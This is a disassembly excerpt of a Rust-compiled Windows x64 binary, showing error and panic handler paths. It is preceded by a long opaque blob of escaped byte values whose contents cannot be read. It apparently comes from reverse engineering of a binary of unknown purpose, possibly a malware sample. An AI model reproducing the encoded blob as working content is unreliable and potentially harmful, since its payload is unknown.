A_U00B7_U0055_U0049_U0029_U00A5_U0065_U0059_U0022_U0009_U0033_U0015_U00FC_U00BC_U0064_U0005_U0065_U000F_U009C_U000F_U006D_U005E_U00A2_U005C_U00B5_U0053_U008C_U00BC_U009C_U00B8_U00A2_U00A8_U0048_U00EE_U00FA_U008A_U00A0_U00EF_U00C5_U00B3_U009D_U00EB_U00F4_U0035_U001C_U001F_U0054_U00AC_U0048_U00B1_U00B1_U0030_U0027_U00BE_U0032_U0012_U0046_U0088_U0095_U0035_U0095_U00E0_U00EA_U003F_U0098_U00FE_U008B_U006D_U00E7_U0007_U0077_U005F_U005A_U0030_U004D_U004C_U00AA_U0027_U0050_U00DF_U0051_U0021_U00E7_U00F5_U00D6_U004F_U0008_U009C_U00BE_U0021_U00CC_U000D_U0016_U00EB_U00D1_U004F_U007B_U004A_U009F_U00D6_U0029_U00D8_U00BD_U00A0_U0015_U00F8_U00AE_U0083_U0081_U003A_U001D_U0013_U0014_U0070_U006C_U0047_U0025_U00CB_U0094_U0050_U0011_U0069_U00B7_U0061_U00CA_U00CD_U0041_U0059_U00F7_U00BD_U00C1_U0076_U0000_U00AD_U0050_U00BA_U002D_U0054_U0001_U002E_U0081_U000A_U00E6_U0029_U006F_U0090_U00A7_U007A_U00E1_U0098_U005D_U0062_U006A_U007C_U00D2_U006D_U002C_U0034_U004B_U00A5_U00B1_U0001_U00E7_U0001_U0083_U00D7_U0094_U0026_U007B_U008F_U006E_U00F6_U0068_U00A1_U006C_U0001_U0010_U00C4_U00AF_U00EB_U0068_U0074_U006A_U0049_U0056_U00AA_U0069_U0033_U001C_U004A_U003E_U0034_U0034_U00B5_U002A_U002B_U00C2_U005C_U0006_U000D_U00D6_U0044_U00BC_U0077_U006A_U0033_U00F9_U005E_U00FD_U0057_U002B_U0053_U0005_U0038_U0031_U0054_U00FB_U004B_U0058_U0075_U00D2_U0032_U001C_U0028_U0093_U00A2_U0059_U0000_U0014_U00DF_U003D_U0043_U0069_U008A_U003F_U00E4_U0072_U00CC_U00CC_U0051_U004E_U002F_U0072_U0031_U00A6_U00C9_U00A4_U0014_U0052_U00FF_U0091_U00B0_U0070_U0060_U0075_U0080_U00C0_U0066_U00B9_U0006_U0017_U00A2_U002C_U0056_U008A_U00AE_U005B_U00A5_U002F_U0053_U009C_U006D_U006A_U00DD_U00D4_U0087_U0023_U0026_U006C_U00F4_U00B3_U0012_U009D_U0044_U00AC_U00B5_U0061_U00A3_U005C_U0042_U000C_U008C_U0054_U0019_U0034_U00A1_U009E_U00C8_U00EE_U005B_U00B4_U0097_U0024_U0021_U00C3_U00D9_U00E0_U0076_U00B1_U0099_U00E2_U0039_U000C_U00C7_U0017_U0049_U0055_U002A_U00A1_U0087_U00D5_U00E8_U00A5_U0006_U00D8_U003E_U002A_U000B_U00A1_U0000_U0055_U004E_U000B_U00E9_U00D8_U00A3_U001A_U00EC_U00AB_U0071_U00D2_U0037_U0063_U0015_U008A_U006E_U008D_U006F_U00C6_U0019_U00E3_U00A0_U009A_U00D5_U00B4_U0014_U00E0_U0072_U00E6_U003C_U003F_U00F3_U002C_U00ED_U0030_U00DE_U00C6_U0010_U00E7_U008E_U0070_U0037_U00B3
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h5328b91012bf05a8
lea r8, [rsp + 0x1d8]
mov edx, 0x2b
call sym.core::result::unwrap_failed::ha80c5d14a6d0986a
jmp 0x140008e2c
lea rcx, str.Slice_must_be_the_same_length_as_the_arrayC:Userswin10_x64.cargo_registry_srcindex.crates.io_6f17d22bba15001fgeneric_array_0.14.7_srclib.rs
lea r8, [0x1401013c8]
mov edx, 0x2a
call sym.core::option::expect_failed::h30d53550386382a4
jmp 0x140008e2c
mov ecx, 1
mov edx, 9
call sym.alloc::raw_vec::handle_error::h08cb50f4b6afae22
movabs rdx, 0x2600000003
jmp case.0x140008b0d.2
lea rcx, str.assertion_failed:_filled___self.buf.init_rustc_105fc5ccc942631c367a53a902c57f45ea534d35librarycore_srcio_borrowed_buf.rs
lea r8, [0x140101768]
mov edx, 0x29
call sym.core::panicking::panic::hf0c717636b14999a
jmp 0x140008e2c
mov ecx, 1
mov edx, 0x8000
call sym.alloc::raw_vec::handle_error::h08cb50f4b6afae22
jmp 0x140008e2c
mov ecx, 8
mov edx, 0xab08
call sym.alloc::alloc::handle_alloc_error::h51d221331ea27b21
ud2